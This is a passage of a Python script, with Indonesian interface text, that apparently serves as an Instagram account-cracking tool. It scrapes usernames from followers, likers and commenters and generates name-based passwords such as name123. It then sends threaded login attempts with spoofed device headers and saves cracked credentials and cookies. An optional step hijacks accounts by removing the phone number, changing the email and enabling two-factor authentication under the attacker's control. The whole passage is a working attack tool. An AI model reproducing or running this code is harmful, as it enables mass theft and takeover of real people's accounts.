  394.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/following/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  395.                 for akun in response['users']:
  396.                     if akun not in dump:
  397.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  398.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  399.                 if 'next_max_id' in str(response):
  400.                     self.Dump_Following(username, cookie, response['next_max_id'])
  401.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  402.            
  403.     def Dump_Komentar(self, username, cookie, max_min):
  404.         with requests.Session() as r:
  405.             try:
  406.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  407.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/comments/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  408.                 for akun in response['comments']:
  409.                     if akun not in dump:
  410.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  411.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  412.                 if 'next_min_id' in str(response):
  413.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  414.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
  415.            
  416.     def Dump_Likers(self, username, cookie, max_min):
  417.         with requests.Session() as r:
  418.             try:
  419.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  420.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/likers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  421.                 for akun in response['users']:
  422.                     if akun not in dump:
  423.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  424.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  425.                 if 'next_min_id' in str(response):
  426.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  427.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  428.            
  429.     def Result(self, result, isi):
  430.         if result in ('1','01'):
  431.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  432.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f'\r╭ auth secure account',style='green'); true.add(f"status two {buka.split('|')[6]}"); true.add(f"secret key {buka.split('|')[7]}"); true.add(f"pemulihan {buka.split('|')[8]}"); true.add(f"telephone {buka.split('|')[9]}"); true.add(f"add email {buka.split('|')[10]}"); true.add(f"web email {buka.split('|')[11]}"); true = tree.add(f"Cookie {buka.split('|')[12]}"); tree.add("Success cek in Result OK"); printz(tree)
  433.                 except Exception: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f"Cookie {buka.split('|')[6]}"); tree.add("Success cek in Result OK"); printz(tree)
  434.                    
  435.         elif result in ('2','02'):
  436.             for buka in open(f'/sdcard/2F/'+str(isi)).readlines():
  437.                 try: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='red'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result 2F"); printz(tree)
  438.                 except Exception: tree = Tree(f'\r╭ logged in two factor',style='red'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result 2F"); printz(tree)
  439.                
  440.         elif result in ('3','03'):
  441.             for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
  442.                 try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Gagal logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='yellow'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); tree.add("Success cek in Result CP"); printz(tree)
  443.                 except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); tree.add("Success cek in Result CP"); printz(tree)  
  444.            
  445.     def Methode(self):
  446.         try:
  447.             self.Meterans.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Api V1\n[bold green]02.[bold white] Methode [bold green]Api Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  448.             self.Meterans.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Ajax V1\n[bold green]04.[bold white] Methode [bold green]Ajax Threads', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Ajax[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  449.             Console().print(Columns(self.Meterans))
  450.             Type_Method = Console().input("[bold grey50]   ╰─> ")
  451.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan Auto Amankan Akun [italic green]Ubah Password, Ganti Email, Hapus Nomor, Pasang Two Facktor[italic white] Jika Mendapat Result Ok!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Amankan Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  452.             Secure_Akun = Console().input("[bold grey50]   ╰─> ")
  453.             if Secure_Akun =='y' or Secure_Akun =='ya':
  454.                 self.amankan_akun.append('ya')
  455.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menggunakan [italic green]Useragent Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menggunakan Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menggunakan Useragent Manual!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent Manual[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  456.             Ua_Akun = Console().input("[bold grey50]   ╰─> ")
  457.             if Ua_Akun =='y' or Ua_Akun =='ya':
  458.                 self.uaman.append('ya')
  459.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  460.                 Mugu = Console().input("[bold grey50]   ╰─> ")
  461.                 self.uaku.append(Mugu)
  462.             self.Exec_Password(Type_Method)
  463.         except (Exception) as e:
  464.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
  465.             exit()    
  466.            
  467.     def Exec_Password(self, Type_Method):
  468.         try:
  469.             Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Password Fash [bold grey50]([bold green]Username, Nama 321,123,12345[bold grey50])\n[bold white][bold green]02[bold white]. Password Slow [bold grey50]([bold green]Username, Nama 321,123,1234,12345[bold grey50])\n[bold white][bold green]03[bold white]. Password Gabung [bold grey50]([bold green]Username, Nama 321,123,1234,12345,Dll[bold grey50])''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))  
  470.             Type_Password = Console().input("[bold grey50]   ╰─> ")
  471.             self.Password_Tambah(Type_Method, Type_Password)
  472.         except (Exception) as e:
  473.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  474.             exit()              
  475.            
  476.     def Password_Tambah(self, Type_Method, Type_Password):
  477.         try:
  478.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  479.             Zigarete = Console().input("[bold grey50]   ╰─> ")
  480.             if Zigarete == 'y' or Zigarete =='ya':
  481.                 self.masukan_sandi.append('ya')
  482.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  483.                 Masukan_Password = Console().input("[bold grey50]   ╰─> ")
  484.                 for ops in Masukan_Password.split(','): self.password_manual.append(ops)
  485.                
  486.             else: self.masukan_sandi.append('no')
  487.             self.Exec_Methode(Type_Method, Type_Password)
  488.         except (Exception) as e:
  489.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  490.             exit()    
  491.            
  492.     def Simpan_Result(self):
  493.         self.waktu = datetime.datetime.now()
  494.         self.bulan = ['Januari', 'Februari', 'Maret', 'April',  'Mei', 'Juni', 'Juli','Agustus', 'September', 'Oktober', 'November', 'Desember']
  495.         return(f'OK-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}', f'2F-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}',f'CP-{self.waktu.day}-{self.bulan[self.waktu.month-1]}-{self.waktu.year}')
  496.        
  497.     def Exec_Methode(self, Type_Method, Type_Password):
  498.         self.result_ok,self.result_two,self.result_cp = self.Simpan_Result()
  499.         Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di Folder : /sdcard/OK/[bold green]{self.result_ok}\n[bold green]•[bold white] Result [bold red]2F[bold white] Tersimpan Di Folder : /sdcard/2F/[bold red]{self.result_two}\n[bold green]•[bold white] Result [bold yellow]CP[bold white] Tersimpan Di Folder : /sdcard/CP/[bold yellow]{self.result_cp}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Instagram[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  500.         Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
  501.         with ThreadPoolExecutor(max_workers=30) as V:
  502.             for Username_And_Fullname in dump:
  503.                 username, fullname = Username_And_Fullname.split('<=>')
  504.                 self.password = []
  505.                 if Type_Password =='01' or Type_Password =='1':
  506.                     for nama in fullname.split(' '):
  507.                         if len(nama) < 3: continue
  508.                         else:
  509.                             for passwords in [f'{nama}321', f'{nama}123', f'{nama}12345']:
  510.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
  511.                                     continue
  512.                                 else:
  513.                                     self.password.append(f'{str(passwords).lower()}')
  514.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  515.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  516.                             continue
  517.                         else: self.password.append(f'{str(passwords).lower()}')
  518.                 elif Type_Password =='02' or Type_Password =='2':
  519.                     for nama in fullname.split(' '):
  520.                         if len(nama) < 3: continue
  521.                         else:
  522.                             for passwords in [f'{nama}321', f'{nama}123', f'{nama}1234', f'{nama}12345']:
  523.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
  524.                                     continue
  525.                                 else:
  526.                                     self.password.append(f'{str(passwords).lower()}')
  527.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  528.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  529.                             continue
  530.                         else: self.password.append(f'{str(passwords).lower()}')
  531.                 elif Type_Password =='03' or Type_Password =='3':
  532.                     for nama in fullname.split(' '):
  533.                         if len(nama) < 3: continue
  534.                         else:
  535.                             for passwords in [f'{nama}321', f'{nama}123', f'{nama}1234', f'{nama}12345', f'{nama}123456', 'INDONESIA','SEJAHTERA']:
  536.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
  537.                                     continue
  538.                                 else:
  539.                                     self.password.append(f'{str(passwords).lower()}')
  540.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  541.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  542.                             continue
  543.                         else: self.password.append(f'{str(passwords).lower()}')
  544.                 else:
  545.                     for nama in fullname.split(' '):
  546.                         if len(nama) < 3: continue
  547.                         else:
  548.                             for passwords in [f'{nama}321', f'{nama}123', f'{nama}12345']:
  549.                                 if len(passwords) < 6 or str(passwords).isalnum() == False or len(nama.split(' ')) > 5:
  550.                                     continue
  551.                                 else:
  552.                                     self.password.append(f'{str(passwords).lower()}')
  553.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  554.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  555.                             continue
  556.                         else: self.password.append(f'{str(passwords).lower()}')
  557.                        
  558.                 if 'ya' in self.masukan_sandi:
  559.                     for Pemasukan_Password in self.password_manual:
  560.                         self.password.append(Pemasukan_Password)
  561.                        
  562.                 if Type_Method in ('1') or Type_Method in ('01'): V.submit(self.ExecApi, username, self.password)
  563.                 elif Type_Method in ('2') or Type_Method in ('02'): V.submit(self.ExecApi_Threads, username, self.password)
  564.                 elif Type_Method in ('3') or Type_Method in ('03'): V.submit(self.ExecAjax, username, self.password)
  565.                 elif Type_Method in ('4') or Type_Method in ('04'): V.submit(self.ExecAjax_Threads, username, self.password)
  566.                 else: V.submit(self.ExecApi, username, self.password)
  567.                
  568.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.success}[bold white] Hasil [bold green]Success[bold white], [bold red]{self.faktor}[bold white] Hasil [bold red]Two Faktor[bold white] Dan [bold yellow]{self.chekpoint}[bold white] Hasil [bold yellow]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] Username, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  569.         exit()
  570.        
  571.     def ExecApi(self, username, password):
  572.         byps = requests.Session()
  573.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{'{:.0%}'.format(self.looping/float(len(dump)))}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white]     ", end='\r')
  574.         ua_generate = Useragent().useragent_api()
  575.         for passwd in password:
  576.             try:
  577.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  578.                 else: ua_generate
  579.                 login_attempt_count=0
  580.                 if login_attempt_count > 10:
  581.                     login_attempt_count=0
  582.                 hash = hashlib.md5()
  583.                 hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  584.                 hex_ = hash.hexdigest()
  585.                 signed_body = random.choice(['SIGNATURE','7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa'])
  586.                 hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  587.                 Instagram_app = {'signed_body': str(signed_body)+'.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments":"ig_android_fci_onboarding_friend_search,ig_android_device_detection_info_upload,ig_android_sms_retriever_backtest_universe,ig_android_direct_add_direct_to_android_native_photo_share_sheet,ig_growth_android_profile_pic_prefill_with_fb_pic_2,ig_account_identity_logged_out_signals_global_holdout_universe,ig_android_login_identifier_fuzzy_match,ig_android_reliability_leak_fixes_h1_2019,ig_android_video_render_codec_low_memory_gc,ig_android_custom_transitions_universe,ig_android_push_fcm,ig_android_show_login_info_reminder_universe,ig_android_email_fuzzy_matching_universe,ig_android_one_tap_aymh_redesign_universe,ig_android_direct_send_like_from_notification,ig_android_suma_landing_page,ig_android_direct_main_tab_universe,ig_android_session_scoped_logger,ig_android_accoun_switch_badge_fix_universe,ig_android_smartlock_hints_universe,ig_android_black_out,ig_android_account_switch_infra_universe,ig_android_video_ffmpegutil_pts_fix,ig_android_multi_tap_login_new,ig_android_caption_typeahead_fix_on_o_universe,ig_android_save_pwd_checkbox_reg_universe,ig_android_nux_add_email_device,ig_android_direct_remove_view_mode_stickiness_universe,ig_username_suggestions_on_username_taken,ig_android_analytics_accessibility_event,ig_android_ingestion_video_support_hevc_decoding,ig_android_account_recovery_auto_login,ig_android_feed_cache_device_universe2,ig_android_sim_info_upload,ig_android_mobile_http_flow_device_universe,ig_account_recovery_via_whatsapp_universe,ig_android_hide_fb_button_when_not_installed_universe,ig_android_targeted_one_tap_upsell_universe,ig_android_gmail_oauth_in_reg,ig_android_native_logcat_interceptor,ig_android_hide_typeahead_for_logged_users,ig_android_vc_interop_use_test_igid_universe,ig_android_reg_modularization_universe,ig_android_phone_edit_distance_universe,ig_android_device_verification_separate_endpoint,ig_android_universe_noticiation_channels,ig_smartlock_login,ig_android_account_linking_universe,ig_android_hsite_prefill_new_carrier,ig_android_retry_create_account_universe,ig_android_family_apps_user_values_provider_universe,ig_android_reg_nux_headers_cleanup_universe,ig_android_device_info_foreground_reporting,ig_android_device_verification_fb_signup,ig_android_onetaplogin_optimization,ig_video_debug_overlay,ig_android_ask_for_permissions_on_reg,ig_assisted_login_universe,ig_android_display_full_country_name_in_reg_universe,ig_android_security_intent_switchoff,ig_android_device_info_job_based_reporting,ig_android_passwordless_auth,ig_android_direct_main_tab_account_switch,ig_android_modularized_dynamic_nux_universe,ig_android_fb_account_linking_sampling_freq_universe,ig_android_fix_sms_read_lollipop,ig_android_access_flow_prefill"})),'ig_sig_key_version': '4'}
  588.                 curl = byps.get('https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid='+Requ().guid(), data = Instagram_app)
  589.                 headers = {
  590.                     'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  591.                     'x-ig-app-locale': 'in_ID',
  592.                     'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  593.                     'x-ig-device-locale': 'in_ID',
  594.                     'x-ig-mapped-locale': 'id_ID',
  595.                     'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  596.                     'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  597.                     'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  598.                     'x-bloks-version-id': '14f543394cf83e14784db6457e197a7e61e34fcd161891682143f74cb69a8981',
  599.                     'x-ig-timezone-offset': str(-time.timezone),
  600.                     'x-ig-connection-type': random.choice(['MOBILE(LTE)', 'LTE','WIFI']),
  601.                     'x-ig-capabilities': random.choice(['Fw==','3brTvwM=']),
  602.                     'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  603.                     'x-ig-app-id': '567067343352427',
  604.                     'priority': 'u=3',
  605.                     'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  606.                     'user-agent': ua_generate,
  607.                     'accept-language': 'id-ID, en-US',
  608.                     'x-bloks-is-layout-rtl': 'false',
  609.                     'x-ig-device-id': f'{str(uuid.uuid4())}',
  610.                     'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  611.                     'Host': 'api.instagram.com',
  612.                     'x-fb-http-engine': 'Liger',
  613.                     'x-fb-client-ip': 'True',
  614.                     'x-fb-server-cluster': 'True',
  615.                     'x-fb-connection-type': random.choice(['MOBILE.LTE', 'LTE','WIFI']),
  616.                     'connection': 'keep-alive',
  617.                     'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  618.                 }
  619.                 payload = json.dumps({
  620.                     'username': username,
  621.                     'phone_id': Requ().poid(),
  622.                     'adid':Requ().adid(username),
  623.                     '_csrftoken': curl.cookies.get('csrftoken',None),
  624.                     'guid': Requ().guid(),
  625.                     'device_id': f'android-{hash.hexdigest()[:16]}',
  626.                     'login_attempt_count': login_attempt_count,
  627.                     'enc_password': Requre().enc_password(passwd)
  628.                     }
  629.                 )
  630.                 encode = ('signed_body='+str(signed_body)+'.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  631.                 proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  632.                 response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, allow_redirects=True).text
  633.                 self.result_ok, self.result_two, self.result_cp = self.Simpan_Result()
  634.                 if 'logged_in_user' in str(response):
  635.                     self.success+=1
  636.                     try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  637.                     except (Exception) as e: cookie = (None)
  638.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  639.                     except (UnboundLocalError) as e: pass
  640.                     if 'ya' in self.amankan_akun:
  641.                         try:
  642.                             num = Require().DeltPhone(cookie)
  643.                             statp, pone = num['Dihapus'], num['Number']
  644.                             deleted = f'{pone} Di Hapus' if statp is True else f'{pone} Tidak Di Hapus'
  645.                             two = Require().Aktifkan2F(cookie)
  646.                             kode, key, statf = two['kode-pemulihan'], two['SecretKey'], two['success-a2f']
  647.                             stat2fa = 'Di Aktifkan' if statf is not False else 'Tidak Aktif'
  648.                             Temp = Require().AddMail(cookie)
  649.                             email, state, inbx = Temp['email'], Temp['di-konfirmasi'], Temp['Url']
  650.                             statd = 'Di Kofirmasi' if state is True else 'Tidak Di Konfirmasi'
  651.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  652.                             true = tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  653.                             true.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  654.                             truu = tree.add(Panel.fit("[bold green]SECURE ACCOUNT", style = "bold grey50"), style="bold white")
  655.                             truu.add(f'[bold green]deleted nomor {deleted}')
  656.                             truu.add(f'[bold green]ganti email {email} {statd}')
  657.                             truu.add(f'[bold green]web email {inbx}')
  658.                             truu.add(f'[bold green]autentikasi duo faktor {stat2fa}')
  659.                             truu.add(f'[bold green]secreet key {key}')
  660.                             truu.add(f'[bold green]kode cadangan [bold green]{kode}').add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  661.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  662.                             printz(tree)
  663.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
  664.                         except Exception as e:
  665.                             print(e)
  666.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  667.                             tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  668.                             tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  669.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  670.                             tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  671.                             printz(tree)
  672.                             save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  673.                     else:
  674.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  675.                         tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  676.                         tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  677.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  678.                         tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  679.                         printz(tree)
  680.                         save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
  681.                     with open('/sdcard/OK/'+self.result_ok,'a') as wr:
  682.                         wr.write(save)
  683.                         wr.close()
  684.                     break          
  685.                 elif 'two_factor_required' in str(response):
  686.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  687.                     except (UnboundLocalError) as e: pass
  688.                     tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  689.                     tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  690.                     tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  691.                     tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  692.                     printz(tree)
  693.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  694.                     self.faktor+=1
  695.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  696.                         wr.write(save)
  697.                         wr.close()  
  698.                     break
  699.                 elif 'challenge_required' in str(response):
  700.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  701.                     except (UnboundLocalError) as e: pass
  702.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  703.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  704.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  705.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  706.                     printz(tree)
  707.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  708.                     self.chekpoint+=1
